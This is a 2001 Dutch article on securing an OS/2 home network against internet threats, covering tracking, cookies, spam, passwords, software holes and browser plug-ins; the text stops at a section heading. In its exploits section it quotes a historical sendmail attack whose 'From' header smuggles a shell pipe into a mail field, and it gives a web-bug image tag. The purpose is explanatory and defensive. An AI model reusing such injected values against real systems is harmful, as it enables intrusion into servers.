Lastige klanten. Het thuisnetwerk en het internet

>> OS/2 netwerk Index <<

Voorwoord

Lastige klanten


Internet: Wat zijn de gevaren?

* Inbreuk op de privacy en manipulatie

* Beveiligingslekken in programma's

* Configuratiefouten

* Exploits

* Trojaanse paarden

* Computervirussen

* Denial of service (DoS)

* De situatie onder OS/2


Nadenken over veiligheid

* De 5 W's van de arbowet

* Een huis beveiligen

* Een host beveiligen

* Wat is veilig?

* De rol van het besturingssysteem


De risico's inventariseren

* Diensten en poorten. Zet de poortscanner erop.

* Binnendeuren en buitendeuren

Internet Protocol

* Klanten en diensten

* Een FTP sessie ter illustratie

* Hosts

* Interfaces en routing

* Wat gebeurt er met de OS/2 PC?

* Het netwerk verder onderzoeken: iptrace en netstat


Plan van aanpak

* Opzet van het thuisnetwerk

* Stand-alone systeem

* Bestands- en printerdeling

* Gebruikersrechten en \authentificatie


Het internet delen

* Een proxy server draaien

* Het generieke SOCKS proxy protocol

* Netwerk Adres Vertaling

* Een hardware router



Deze sectie downloaden: firewall.zip.



Voorwoord

Het artikel "Lastige klanten" verscheen in oktober 2001 in Draad/2. Ik schreef het voor de OS/2 netwerkgebruiker die wat aan netwerkbeveiliging wilde doen, maar geen flauw idee had waar hij moest beginnen. Het was de situatie waarin ik mij bevond.

Door veel te lezen en uit te proberen verzamelde ik informatie. Hiermee kon ik de belangrijkste principes van de beveiliging van een thuisnetwerk op een rijtje zetten en een concrete strategie voorstellen.

Het artikel is als volgt ingedeeld:

In Lastige klanten leest u waar het bij netwerkbeveiliging eigenlijk om gaat. U vindt enige "bekende" risico's, zodat u een indruk krijgt van de voor u relevante gevaren.

Het internet in vogelvlucht plaatst de huidige situatie van het internet in historisch perspectief. Hoewel alles razendsnel lijkt te gaan, zijn er duidelijke tendensen aan te wijzen.

In Internet: Wat zijn de gevaren? worden puntsgewijs de meest bekende veiligheidsrisico's en hun mechanismen besproken.

In Nadenken over veiligheid wordt stilgestaan bij het begrip veiligheid. Wat wordt ermee bedoeld? Wat moet je beveiligen? Hoe pak je het aan? Aan de hand van de 5 W's van de arbowet, stel ik een manier van werken voor.

In De risico's inventariseren wijs ik op een poortscanner als hulpmiddel om de risico's op uw netwerk te inventariseren.

Het Internet Protocol (IP) verbindt klanten en diensten. Routers en hun netwerkinterfaces doen het werk. Enig inzicht in IP is onvermijdelijk.

In Plan van aanpak worden de belangrijkste principes van netwerkbeveiliging besproken.

Het internet delen gaat over mogelijkheden om op een veilige manier de internettoegang toegang op het LAN te regelen.

Om het voor u leesbaar en voor mij bewerkbaar te houden zijn de meer firewall en server technische delen van het hoofdartikel "Lastige klanten" afgesplitst. Het gaat om Firewalls en OS/2, die firewall principes bespreekt, Een firewall voor OS/2 , dat de bij TCP/IP versie 4.1 geleverde firewall elementen behandeld en een artikel over de proxy server Squid onder OS/2. Alle artikelen maken nu onderdeel uit van een OS/2 Firewall sectie, dat verkrijgbaar is als firewall.zip.

Over het installeren en configureren van een OS/2 netwerk heb ik OS/2 Warp 4 in het thuisnetwerk al het nodige geschreven. Ook deze teksten zijn in gezipte vorm (net-os2.zip) verkrijgbaar. eComStation (NFS, TCP/IP 4.3) specifieke zaken zijn als ecs-os2.zip te downloaden.



Sjoerd Visser



Lastige klanten

Dit artikel gaat over het beveiligen van een computer of een klein thuisnetwerk tegen inbraak en inzage van buiten. De indringers bevinden zich op het internet. Denk hierbij niet alleen aan personen, maar ook aan de vele wormen en virussen die het internet bevolken. Dit zijn de lastige klanten waartegen u uw netwerk beveiligen moet.

Bij netwerkbeveiliging gaat het om veel meer dan het installeren van een virusscanner en firewall alleen. Het feit dat uw auto een rem heeft, garandeert nog niet dat u veilig rijdt. Bepalend is of u de gevaren tijdig onderkent, op tijd terugschakelt en gevaarlijke situaties mijdt. Ook op het netwerk bepalen gedragsregels de effectiviteit van iedere beveiliging.

Helaas beseffen maar weinig internetgebruikers op welk glad ijs ze zich bevinden. Ze zien alleen hun grafische programma's. Ze razen over de Super Highway zonder erbij stil te staan wat hun besturingssysteem en programma's doen. Ze kennen hun voertuig niet, ze kennen het wegdek niet en hebben maar een beperkte blik op de weg. Ze zijn zelden bereid om geld voor veiliger software te betalen. Ze zijn vooral in Megahertzen en de zichtbare features van de applicaties geïnteresseerd. Een virus of computerinbraak is iets dat hen overkomt.

Geen wonder dat maar weinig internetgebruikers zich om hun en andermans privacy bekommeren. Hun onwetendheid wordt in de hand gewerkt door het gebruik van metaforen op de moderne GUI. Toch is een chat op het internet iets anders dan een gesprek op straat. Chatten lijkt anoniem omdat u de andere luisteraars niet ziet. Maar onder de luisteraars zitten ook criminelen, die aan de hand van uw IP adres en bekende fouten in de software hun slag slaan. Het "hallo, hier ben ik" wordt dan een "hap, ik heb je". En bent u gehackt.

In het begin hoeft u daar weinig van merken. Misschien is uw PC gewoon niet interessant genoeg en zijn de crackers alleen maar in uw dial-up gegevens geïnteresseerd. Dan kunnen ze onder uw naam bij een ander inbreken. Dit is vooral in de VS (gratis lokale telefoontarieven) populair. Maar met wat pech ontvangt u rekeningen van niet door u gebelde sexlijnen of schrijft iemand bedragen van uw bankrekening af.

Een ongewenste inbreker of toevallige voorbijganger kan veel schade aanrichten: zichtbaar en onzichtbaar. Bedenk dat een indringer wachtwoordbestanden en andere vertrouwelijke gegevens kan inzien. Een wachtwoord kunt u veranderen, maar als het om een klantenbestand gaat, dat onder een privacy reglement valt, bent u al behoorlijk chantabel. En als een virus uw privé gegevens via een elektronisch adresboek verspreidt, hebt u een groot probleem.

Wie lopen de meeste kans op computerinbraak? Enig inzicht in aanvalstechnieken kan van nut zijn.

Wie op een thuisnetwerk een breedband internetverbinding deelt, kan zelden om een firewall op de inbellende host heen. De zich achter de firewall PC of router bevindende computers lopen veel minder gevaar, zolang ze zich achter de netwerk address translation (NAT) kunnen verstoppen. Bescherming tegen virussen en Trojaanse Paarden biedt een firewall echter niet. In Het internet delen bespreek ik technieken waarmee u dit kunt bereiken.

Maar er zijn goede redenen om op iedere met het internet verbonden PC een firewall en virusscanner te installeren.

Over de inbrekers van binnen (de kinderen) en hun maar aanrommelende systeembeheerder heb ik het nu niet. Vergeet echter niet dat de gewone gebruikers de meeste schade op het netwerk aanrichten. Beperk daarom ook op een niet op het internet aangesloten LAN de netwerktoegang tot het strikt noodzakelijk en maak regelmatig backups. Als een minimum zou u regelmatig de partities met belangrijke data kunnen zippen.

Internet: Wat zijn de gevaren?

De "nieuwe economie" lijkt op het wilde westen. Wellicht denkt u bij gevaren vooral aan crackers en script-kiddies, maar ik begin met de "witte boorden" activiteit. Van criminaliteit mag ik niet spreken, maar om een groot marktaandeel te verwerven gaan internetbedrijven heel ver. Wat zich hier wreekt is het gebrek aan wet- en regelgeving in de nieuwe economie. En waar regels bestaan (bijv. met het oog op uw privacy) worden ze massaal en oncontroleerbaar geschonden.

Ik loop hier wat zaken langs, maar u begrijpt dat mijn lijstje nooit volledig kan zijn.

De risico's die u loopt zijn:

  1. Schending van uw privacy en integriteit

  2. Verstoring van uw activiteiten

  3. Vernieling, misbruik en/of diefstal van uw programma's en gegevens.

Ik beschrijf hieronder de meest voorkomende mechanismen.

Inbreuk op de privacy en manipulatie

Wie een radio of TV koopt, zal zijn favoriete zenders zelf willen instellen. De eigenaars van Microsoft Internet Explorer en Netscape Communicator (AOL) doen dit liever zelf. Daar zijn hun "gratis" browsers voor ontworpen. Ze willen u meteen naar de hun royalties opleverende portals doorsluizen. Die zijn als homepage en bladwijzers ingesteld. Die bladwijzers kunt u veranderen, maar de ongenode reclame in Netscape Messenger niet.

Er zijn genoeg mensen die denken dat ze met een "slimme knop" ineens slim kunnen zijn. Natuurlijk worden ze bij het ootje genomen. De Netscape Navigator heeft een optie "Slim bladeren" die uw privacy schendt. De "Smart Download" van Netscape doet hetzelfde (http://grc.com/downloaders.htm). De "smart tags" van de in de bèta Windows XP geïntegreerde MS Internet Explorer gaan nog veel verder: ze sturen u bij voorkeur door naar de door Microsoft beheerste sites. Ook al geeft een zoekmachine wat anders aan. Onder druk van de concurrentie en de publieke opinie zal Microsoft deze "feature" van XP laten varen, maar het geeft wel aan dat internetbedrijven heel ver kunnen gaan. Als u dergelijk programma's (met hun disclaimer) installeert, geeft u hen toestemming om u te (mis)leiden.

Marktonderzoek. Reclame werkt het best, als ze u het idee geeft dat u de reclameboodschap zelf hebt ontdekt. Daarom betalen bedrijven zoekmachines royalties om hoog in uw zoekacties te scoren. En willen adverteerders weten waar u uithangt en op welke knoppen u klikt. Zodat ze u als het hen uitkomt "toevallig" kunnen ontmoeten. De logbestanden van uw surfgedrag zijn geld waard. Voor dit continue marktonderzoek worden scripttalen als visual basic script (vbs), common gateway interface (cgi) en perl op websites ingezet. Als u op een website klikt geven deze scripts ongevraagd informatie aan derden door. Banners zijn te herkennen, maar webbugs (onzichtbare plaatjes in de HTML code) niet. Door dit marketingverkeer gaat ook bandbreedte verloren. Met filterprogramma's en proxies als Junkbuster kunt u dit gedeeltelijk voorkomen.

Uw browser geeft de volgende informatie door: uw IP adres (indirect uw hostnaam en provider), uw besturingssysteem, uw browser (en versie), de geïnstalleerde plug-ins, schermresolutie en kleurdiepte, de laatst bezochte websites, de ingestelde taal, de ingestelde tijd en de datum van het bezoek. Aan de hand van de laatst bezochte websites valt te analyseren via welke zoekactie (trefwoord) of banner iemand op de website is gekomen. Voor het doorlinken via banners wordt natuurlijk betaald. Wie er meer van wil weten kan eens op een nedstat icoontje klikken of Analyze Your Internet Privacy van Privacy.net bezoeken.

Met het door Netscape bedachte Javascript kunnen servers nog meer informatie bij uw browser (en proxy) opvragen. En uw bladergedrag sturen. Veel servers weigeren u zelfs de toegang als u Javascript uit laat staan.

Spyware en adware (Advertising supported software) gaan nog een stapje verder. Bij het installeren van bepaalde software komen deze Trojaanse paarden op uw schijf. Ze draaien op de achtergrond en registreren uw surfgedrag. Het registreren en doorsturen van uw surfgegevens levert vertraging op. De data worden aan derden verkocht.

Cookies. Anders dan wat veel mensen denken, is het ontvangen en versturen van cookies op zich vrij ongevaarlijk. Een cookie is geen virus. Cookies vormen weliswaar een bedreiging van uw privacy, maar niet meer dan de javascript of perl scripts die uw gegevens al dan niet via een formulier verzamelen. Servers kunnen de via scripts vergaarde gegevens in hun eigen databases opslaan, maar ook als "cookie" bij u op de vaste schijf plaatsen. De in het cookiebestand opgeslagen gegevens kunt u tenminste nog zelf beheren. Cookies zijn alleen opvraagbaar door de servers uit het domein dat het cookie heeft verzonden. Zo'n site kan ook contacten met derden buiten het domein onderhouden. Maar dat gaat dan buiten de cookies om. Zie ook: How Web Servers' Cookies Threaten Your Privacy. Wat er met uw informatie gedaan wordt, zou vermeld moeten staan in een "privacy statement". Maar die kan behoorlijk misleidend zijn.

Om cookies te ontvangen moeten "Alle cookies accepteren" (default) of "Alleen cookies accepteren die naar de server worden teruggezonden" in de geavanceerde Netscape voorkeuren aangevinkt staan. Met de laatste optie worden advertentieservers op afstand geweerd (aanbevolen). De instelling "Waarschuwing afbeelden vóór het accepteren van een cookie" geeft u een indruk van het cookie dataverkeer.

In het met een teksteditor te bestuderen cookies.txt kunnen uw voorkeuren op het domein worden opgeslagen. Bijv. het aantal items dat Google bij een zoekactie moet weergeven. Ook de bij een beveiligde site opgegeven gebruikersnaam en wachtwoord kunnen worden bewaard. De volgende keer dat u zich bij de site aanmeldt hoeft u die dan niet meer op te geven. Realiseert u zich dat dan iedereen met uw browser naar de betreffende site kan gaan. De wachtwoorden die ik zag waren versleuteld opgeslagen. Maar dat hoeft niet altijd het geval te zijn. Bedenk dat versleutelde wachtwoorden door kraakprogramma's te raden zijn. En dat een script dat uw cookies.txt kopieert zo geschreven is.

Online registratie. Bij de online registratie van software laat men u een formulier invullen. Meestal worden vooral vragen gesteld die niet relevant voor uw registratie zijn. Hoe bent u aan de software gekomen? Wat is uw beroep? Wat is uw leeftijd? Onderaan het formulier staat al aangevinkt dat de softwarefabrikant uw gegevens voor andere doeleinden mag gebruiken. Zet het uit. Meestal zal dat het hoofddoel van de enquête zijn. Maar als u van het invullen moe bent geworden en eindelijk de grote VERSTUUR knop in beeld krijgt, ziet u daar vaak overheen. Het treurige is dat de registratie zelden oplevert wat u er wel van verwacht. Informatie over updates? Toegang tot een FTP server of helpdesk? Ho maar!

Spam. Ongevraagde spam emailberichten zullen binnenkort het gewone emailverkeer in omvang overstijgen. Het is treurig dat het en masse versturen van ongevraagde email nog niet wettelijk geregeld (verboden) is.

Regelmatig krijg ik per email het aanbod om een database met miljoenen email adressen te kopen. De spammer biedt een CD Rom met software en adressen aan waarmee ik iedereen met massamailings (spam) lastig kan vallen. Hij belooft fantastische winsten. Onderaan staat vaak een formulier waar ik op moet drukken om van de berichtenlijst van de spammer af te komen. Daar zal ik geen gebruik van maken. Want op het moment dat ik op Unsubscribe druk, zal de juistheid van mijn email adres bevestigd worden. Daarna is zijn database met email adressen nog meer geld waard. Dit soort misleiding is aan de orde van de dag. Doorgaans is het effectiever om het spamberichten te negeren of aan abuse@provider door te sturen als de spammer via een ISP werkt. Maar dat zal zelden werken omdat veel spammers (vooral de sexueel getinte) van gehackte computers gebruik maken.

Als u HTML post online onder Netscape leest moet u niet vergeten in Netscape's Voorkeuren / Geavanceerd / Javascript / Javascript voor post en nieuws uit te zetten! Anders kan een Javascript in een HTML bestand zonder dat u het weet uw emailadres aan de spamlijst toevoegen. Mozilla biedt gelukkig meer veiligheidsopties onder Privacy and Security:

In de volgende code is een onzichtbaar plaatje aan een teller/registreerproces gekoppeld: <IMG SRC="http://server.tw/ad.png?eid=uw.email@adres.nl" WIDTH="0" HEIGHT="0">. Het laden van zo'n plaatje zal de geldigheid van uw email-adres bevestigen.

Social Engineering. Social Engineering is een oude truc. Een oplichter doet zich voor als een official (de systeembeheerder, de internet provider, de FBI) en vraagt informatie op. Een nep systeembeheerder geeft bijv. aan dat er problemen met uw account zijn. U moet uw oude en een nieuw wachtwoord opgeven. Dan wordt het opgelost. Mensen willen overheden graag behulpzaam zijn en geven in hun onwetendheid t.a.v. de procedures meer informatie weg dan ze anders zouden doen. Privacy gevoelige informatie wordt echter nooit via een oncontroleerbaar email bericht opgevraagd. Hier niet instinken dus.

Wachtwoorden. Goed gekozen wachtwoorden staan aan de basis van iedere netwerkbeveiliging. Een sterk wachtwoord is minimaal acht tekens lang, geen naam, komt in geen enkel woordenboek voor en bevat meerdere speciale tekens (^AnnieDik4). Ook acronymen (afkortingen van zinnen) zijn goed bruikbaar. Het gaat erom dat ze moeilijk te raden zijn. Bedenk dat ook maar één gemakkelijk te raden wachtwoord een heel systeem kan compromitteren. Zorg er er daarom voor dat bestanden die wachtwoorden bevatten (cookies, opstartbatches, fstab) tegen lezen beveiligd zijn.

Op de met HPPTS beveiligde site http://www.cnlab.ch/pwcheck/ kunt u nagaan hoe snel uw wachtwoorden te raden zijn. Programma's die wachtwoorden raden combineren typisch cijfers en speciale tekens met woorden uit een woordenboek. Dat gaat razendsnel. Door bij iedere login een vertraging in te bouwen gaat het in de praktijk gelukkig niet zo snel. Goede inlogprocedures zullen gebruikers die meerdere keren achtereen het verkeerde wachtwoord opgeven weigeren (de onder NT werkende pinautomaat).

Overigens bent u met het beste wachtwoord weerloos tegenover een collega of cracker die op uw netwerk een password sniffer installeert. Alleen de sterke versleuteling van een sterk wachtwoord biedt dan bescherming.

Versleuteling. Sterke versleuteling bieden de hash-algoritmen MD5 en SHA-1. De hiermee gemaakte eenzijdig versleutelde wachtwoorden zijn in de praktijk niet meer te ontcijferen, maar blijven nog wel te raden. Kraakprogramma's proberen gewoon alle mogelijke wachtwoorden uit en vergelijken het met het algoritme versleutelde resultaat met uw versleutelde wachtwoord. Is de overeenkomst groot (bijv. 98%), dan is het wachtwoord vrijwel zeker gekraakt. Vandaar dat sterke wachtwoorden en een vertraging bij inlogprocedures essentieel blijven. Als uw wachtwoord niet in de wachtwoordlijsten van het kraakprogramma voorkomt, dan zit u goed.

Tweezijdig versleutelde wachtwoorden (en documenten) zijn veel sneller te kraken. Het resultaat van tweezijdige versleuteling kan met de juiste tool meteen ontcijferd worden. Het opslaan van Word documenten met een wachtwoord heeft dan ook maar een beperkte waarde. Wel biedt eenvoudige versleuteling het voordeel dat een naar reguliere expressies zoekende scanner (netwerksniffer of zoekmachine) ze niet zal opmerken. De sleutelwoorden waar de scanner naar zoekt zullen immers niet worden gevonden. Door versleuteling van complete verbindingen (SecureShell tunnel) zijn zelfs de scanners van geavanceerde applicatiegateways te misleiden.

De internet provider en de overheid. In Nederland geldt voor email zoiets als het briefgeheim dat aan regels gebonden is. Maar volgens de Telecomwet (1998) moet openbare communicatie (niet alleen telefoon, maar ook email en www verkeer) aftapbaar zijn voor Politie en veiligheidsdiensten. Uw internet service provider (ISP) moet hier zorg voor dragen. In dictaturen als China kijkt de overheid op grote schaal mee. In Nederland kan dat alleen op verzoek van Justitie.

De National Security Agency en Echelon. Alle wetgeving met betrekking tot uw privacy is echter een wassen neus als u zich realiseert dat het transatlantische fax-, telefonie- en emailverkeer al op grote schaal wordt afgetapt. Alles wijst erop dat het door de National Security Agency (NSA) gebouwde spionagesysteem Echelon het transatlantische emailverkeer afluistert en op trefwoorden doorzoekt. Standaard encryptiemethoden zullen hier weinig bescherming bieden. De NSA heeft haar eigen ("approved" = voor haar snel te kraken) encryptiebestanden al de meeste Windows versies (advapi.dll) en in de export versies van Lotus Notes ingebouwd. Binnen het Europese Parlement vroeg men zich af of de Verenigde Staten dit systeem ook voor politieke en bedrijfsspionage zou gebruiken. Zie: De Groene 25-2-98: Dossier Echelon 2 , How NSA access was built into Windows en Only NSA can listen, so that's OK.

Voor encryptie: The International PGP Home Page en GnuPG 1.2.4 for OS/2 .

Beveiligingslekken in programma's

Programma's zullen altijd beveiligingslekken bevatten. Met beveiligingslekken bedoel ik zwakke plekken, mogelijkheden voor misbruik. Sommige zijn evident: een feature in de configuratie open zetten of open laten staan. Andere lekken worden pas tijdens stresstesten en oneigenlijk gebruik ontdekt. Een programma doet onder buitengewone omstandigheden soms iets anders dat het zou moeten doen. Dat geldt voor mensen (marteling), kluizen (dynamiet), maar ook voor programma's.

Normaal gesproken zouden de grootste veiligheidsproblemen er tijdens de testfase al uitgehaald moeten worden. Maar omdat uitgebreide veiligheidstesten tijd en geld kosten, worden ze zelden gedaan. De druk van de softwaremarkt om snel een goedkoop te leveren (voordat de concurrent dat doet) speelt hierbij een doorslaggevende rol.

De softwarefabrikanten zijn zich goed van bewust van de problemen waarmee ze de consument opzadelen. Aan een DISCLAIMER die alle verantwoordelijkheid bij de consument legt wordt wel veel aandacht besteed. Soms wordt een met wachtwoord beveiligde achterdeur met opzet in de software gezet. Zo'n achterdeur kan nodig zijn om de software te debuggen, maar het kan ook oneigenlijk gebruikt worden om stiekem informatie over de gebruikers te achterhalen. Zelfs met hardware komt dit voor: Denk aan Windows systemen die via het Intel Pentium III serienummer van hun gebruikers doorgeven.

Dergelijke lekken worden door de softewarefabrikanten het liefst met sussende bewoordingen in de doofpot gestopt of keihard ontkend. Maar in veel gevallen zullen er programma's of trucs verschijnen die de zwakke plekken uitbuiten (exploits). Als de exploits op grote schaal verspreid worden (Winnuke, macrovirussen), dan hebben de gebruikers van het programma een probleem. Door negatieve berichten in de pers raakt het programma in diskrediet. De softwarefabrikant moet dan wel actie ondernemen.

Ernstige beveiligingslekken moeten onmiddellijk worden gerepareerd. De fabrikant dient zo snel mogelijk een patch (aanpassing van de software) of een nieuwe release beschikbaar stellen, zodat het lek in de software kan worden gedicht. Maar dat kost commerciële softwarebedrijven tijd, prestige en dus veel geld. Veel open source software (OSS) producten doet het hier aanzienlijk beter dan de commercieel uitgegeven software.

Het volgende is een voorbeeld van Microsoft van de aankondiging van zo'n patch. Let op het gortdroge taalgebruik. Om negatieve publiciteit te voorkomen worden de termen geneutraliseerd:

Q323255: Security Update
This update resolves the "Unchecked buffer in HTML Help can lead to Code Execution" security vulnerability in Windows 2000. Download now to prevent a malicious user from running an unauthorized program on your computer.

Maar het gesignaleerde probleem in het Windows HTML Help systeem is bepaald niet gering: als u deze patch niet onmiddellijk toepast kan een kwaadaardig iemand via het HTML hulpsysteem willekeurige programma's (incl. fdisk, format) op uw systeem uitvoeren. Een ondoordachte klik op een kwaadaardig HTML bestand (emailvirus) kan rampzalige gevolgen hebben. U geeft uw PC door gevaarlijke lekken in uw (nee, het door u van Bill Gates gehuurde) besturingssysteem aan kwaadwilligen weg. En als u er nu niets tegen doet, kunt u geen aanspraak meer op uw privacy maken.

Een goed voorbeeld van de oude jongens krentebrood doofpotcultuur is een achterdeur die Microsoft jarenlang in Frontpage 98 liet zitten. Over de details (zie: Netscape engineers are weenies) werd door Microsoft in "Procedure Available to Eliminate "Link View Server-Side Component" Vulnerability" (MS00-025) geen woord gerept.

In deze gevallen werd Microsoft gedwongen de problemen op zijn website bekend te maken, maar het is maar de vraag hoeveel Windows gebruikers een "critical update" zullen toepassen. Kwaadwilligen weten er ondertussen van. En dus zijn de virussen en cracks onderweg. Inmiddels zijn er al heel wat virussen die uw firewall uit kunnen zetten. Mensen die onder het administrator account werken (de default XP Home installatie) lopen voortdurend dit risico.

Hackers, die heel specifiek dergelijke lekken zeggen op te sporen, dwingen met het publiceren van lekken en exploits de softwarebedrijven hun producten beter te beveiligen. Hackers zeggen zich hierin te onderscheiden van virusmakers, script-kiddies en crackers, die de exploits benutten om te laten zien wat ze kunnen, waarbij ze anderen veel schade berokkenen.

Configuratiefouten

Veel veiligheidsproblemen ontstaan door een verkeerde configuratie. Vaak is dat de standaardconfiguratie. Het product is dan niet voor veiligheid maar voor gebruiksgemak ingesteld.

Veel gebruikers beoordelen een programma op de vraag of het werkt en zien daarna wel verder. Ze verwachten dat ze na installatie meteen aan de slag kunnen gaan. De technische README.1ST lezen ze pas als iets niet werkt of als er al op het netwerk ingebroken is. Softwarefabrikanten passen zich aan de slechte gewoonten van hun klanten aan. Ze stellen hun (internet)programma's bij voorkeur zo in dat de grootste onbenul er meteen mee kan werken.

Deze quickstart benadering geeft de grootste kans op commercieel succes, maar verwacht hiervan geen veiligheid. Integendeel, juist de standaardconfiguraties met uitgeschakelde wachtwoordbeveiliging en standaard gebruikersnamen zijn een ideaal doelwit voor virussen en crackers.

Deze problemen zijn te voorkomen als de softwarefabrikanten hun programma's bij aflevering meteen maximaal veilig instellen.

Exploits

Exploits zijn programma's, scripts of trucs die de zwakke plekken in andere programma's uitbuiten. Een exploit exploiteert dus een beveiligingsgat in een ander programma. Een klassieker is Winnuke. Dit programma verstuurt IP pakketjes waarin een met het internet verbonden Windows 95 PC zich verslikt.

Maar het kan ook heel subtiel. Sendmail heeft zich wel eens verslikt in:

To : mrinvisible@nonexistnat.com 
From "| /bin/sed '1,//d' | sh" 

Mr invisible bestaat niet. Het bericht komt dus niet aan. De afzender kreeg wel root toegang omdat sendmail onder het suid bit draaide en een berichtje terugstuurde. Het bekend worden van dergelijke lekken zal bij open source software snel tot een security fix leiden. Maar in dit opzicht heb ik geen bitje vertrouwen in de sterk verouderde sendmail versie van OS/2. Op UNIX systemen wordt Postfix aangeraden.

Een ideaal doel voor exploits zijn de plug-ins van uw browser. Ze worden automatisch geactiveerd als u een bepaalde site bezoekt. Meestal gaat het om een multimedia item (muziek, filmpje of animatie) die met uw plugin-programma's uitgevoerd worden. Maar bepaalde plugins voeren programma's en scripts van anderen op uw PC uit. Deze browser/OS integration plugins zijn bedoeld voor systeembeheer op afstand, maar kunnen ook door malafide personen worden geactiveerd.

  1. Zogenaamde Active X applets werken als zelfstandige programma's. De Active X besturingselementen worden door Microsoft Internet Explorer (IE) of het van Internet Explorer gebruik makende Outlook met de HTML gedownload. Eenmaal geactiveerd, nemen ze de controle van de Windows PC volledig over. Dankzij de vergaande integratie van IE met het Windows besturingssysteem kunnen syssteempatches online worden uitgevoerd en kan de multimedia van het web direct onder Windows draaien. Maar omdat al die ongein direct onder Windows wordt uitgevoerd, kunt zich er niet op verlaten: Microsoft Internet Explorer zal de Active X besturingselementen gewoon uitvoeren. Maar in plaats van de hoognodige patch kan ook een wis- of formatteringsactie worden geactiveerd. U moet er dus 100% zeker van zijn dat de Active X besturingselementen van een "trusted site" komen. Om die reden wordt Active X aan een digitale handtekening gekoppeld. De digitale handtekening controleert het IP adres van de afzender, maar verder niets. Voor velen zijn de beveiligingsproblemen van Internet Explorer en Outlook reden om Mozilla of Opera te gebruiken. Deze web browsers ondersteunen geen Active X of Visual Basic scripts. Om die reden moet u voor Active X online update diensten als Microsoft Windows update nog wel Internet Explorer moeten gebruiken.

  2. Microsofts Visual Basic Script (VBS) wordt automatisch gelanceerd als u de Windows Scripting Host aan hebt staan. Dat is helaas de default en dus kunnen VBS scripts ongebreideld op de Windows PC uithalen. VBS is dus zeer geliefd bij Outlook virusschrijvers en werkt ook op een met VBS besmette homepage. Helaas heeft Microsoft het aan of uit staan van VBS in IE gekoppeld aan JavaScript.

  3. Microsofts HTML Applicaties (HTAs) voor Microsoft Internet Explorer 5 en later zitten verborgen in webpagina's. Zie: Introduction to HTML Applications (HTAs).

  4. Het door Netscape ontwikkelde LiveScript ( later omgedoopt tot Javascript ) wordt vooral door servers gebruikt om uw browser in goede banen te leiden, maar http://www.astalavista.com/privacy/ laat zien dat er nog veel meer gebeuren kan. Javascript heeft dan ook niets met Suns Java te doen. Als u niet van manipulatie en pop-up reclame houdt is het verstandig om de mogelijkheden van Java-script in te perken. Op dit moment biedt Mozilla daar de beste mogelijkheden toe: Ga hiervoor naar Edit / Preferences/ Advanced/ Scripts and Plugins. Zet JavaScript in ieder geval voor Mail en Newsgroups uit. Want een willekeurig iemand die u een mailtje zendt hoort niets automatisch op uw PC te kunnen uitvreten. Oudere versies van Netscape koppelden Java helaas aan Javascript.

  5. De door SUN ontwikkelde programmeertaal Java is opvallend veilig. Sun schrijft: "The goal for the JDK is to enable browsers to run untrusted applets in a trusted environment". De Java Runtime environment is dus niet voor snelle resultaten, maar voor beveiliging ingericht. Java applets worden in een veilige omgeving uitgevoerd. Ieder Java besturingselement heeft slechts toegang tot de Java Runtime environment van zijn Java Virtual Machine. De gedownloade applets worden hoogstens in de cache van de browser opgeslagen. Een virus ka zich zo niet verspreiden. De Java applets hebben in opzet geen toegang tot de onveilige API van het Windows besturingssysteem. Ondanks de wijde verspreiding van Java zijn er nog geen serieuze Java virussen in het wild gesignaleerd.

Exploits kunnen worden gebruikt om op een zwaar beveiligde server in te breken. Een zwak punt van veel programma's is de mogelijkheid om de user stack, de geheugenruimte voor de invoer van variabelen, met invalide data te overschrijven. De programmeur heeft dan verzuimd een goede afhandelingsroutine voor invalide data te schrijven. Het kan zoiets simpels zijn als een te lange inlognaam (pietje...opdracht). Als een programma zich in invalide invoer verslikt (bufferoverloop, buffer overflow), wordt de in het geheugen geladen programmacode veranderd. Het programma zal disfunctioneren en /of vastlopen. Als zo'n disfunctionerend programma niet onmiddellijk afgesloten wordt, kan iemand proberen een shell in zo'n stukje gecorrumpeerd geheugen te laden. Dat laatste is niet eenvoudig, maar het veranderen van de systeemconfiguratie via de opgeroepen shell is wel de manier om op een zwaar beveiligde server binnen te komen. Onder een Java programma zal dit niet snel voorkomen.

Meer lezen: Fyodor's Exploit World, Exploits for many Operating Systems including Linux,Solaris,Microsoft,Macintosh. For Hackers, Hacking, Computer Security auditing & testing

De FBI doet o.a. onderzoek naar het lekken van regeringsdocumenten. Hieruit destilleerde SANS een top 20 van veiligheidsgaten: SANS Resources - The Twenty Most Critical Internet Security Vulnerabilities (Updated).

De Windows Scripting Host, Active-X en het Object Web

Veel Windows gebruikers weten gelukkig dat ze niet zomaar op een onbekend pictogram in Outlook of Internet Explorer mogen klikken. Hun object web bestaat vooral uit untrusted sites. Maar ook onder OS/2 is een object een programma, map of bestand waarvan de inhoud waar dan ook kan staan. Lokaal op de PC, op het intranet, maar ook op het untrusted world wide web. Onder Mozilla kunnen Java en Flash programma's worden uitgevoerd en ook FTP folders en URL bestanden zijn echte web-objecten.

Wat OS/2-ers echter niet kennen zijn de diep in het Windows Internet Explorer systeem geïntegreerde Active-X objecten. Ze zijn echt bedoeld om u te helpen. Bijvoorbeeld om het wekelijkse bezoek aan Microsoft Windows Update te vergemakkelijken waarmee u de nieuwste essentiele Windows bugs verhelpt. Maar als u ze uit gemakzucht niet op minder bekende sites blokkeert, kunnen ze op uw MS PC doen wat ze willen. Zo'n door de Windows Scripting Host (WHS) geactiveerd Active-X plugin, waarbij uw hele systeem overhoop gehaald kan worden, is enigszins te vergelijken met Warps Feature Installer online update van jaren geleden. Maar Warps Feature Installer was een exclusieve IBM OS/2 Netscape plugin die een installatie of update alleen na uw expliciete toestemming en na authenticatie door Verisign afhandelde. Active X controls kunnen echter van ieder site zonder enige vorm van authenticatie (lang leve Microsofts e-commerce!) gestart worden. Het enige dat de Windows Scripting Host en Feature Installer gemeen hebben is dat ze het alleen maar onder bepaalde Browsers (de teefse IE versus de monogame Netscape voor OS/2) doen.

What is the Windows Scripting Host?

The Windows Scripting Host (WSH) is a feature of Microsoft Windows operating systems. It enables .vbs files to run in Windows 95, 98, NT 4.0, and Windows 2000. In the case of the VBS.LoveLetter.A and VBS.NewLove.A worms, it enabled the virus writer to automate actions that ran a direct script execution without end-user intervention.
The WSH enables users to automate tasks in Windows by providing access to the Windows shell, file system, registry, and more. The WSH is accessible to anyone who can learn to write the relatively simple scripting code. Scripts can be run directly from the desktop by clicking on a script file from within a program--such as an email program--or from the command console.

Trojaanse paarden

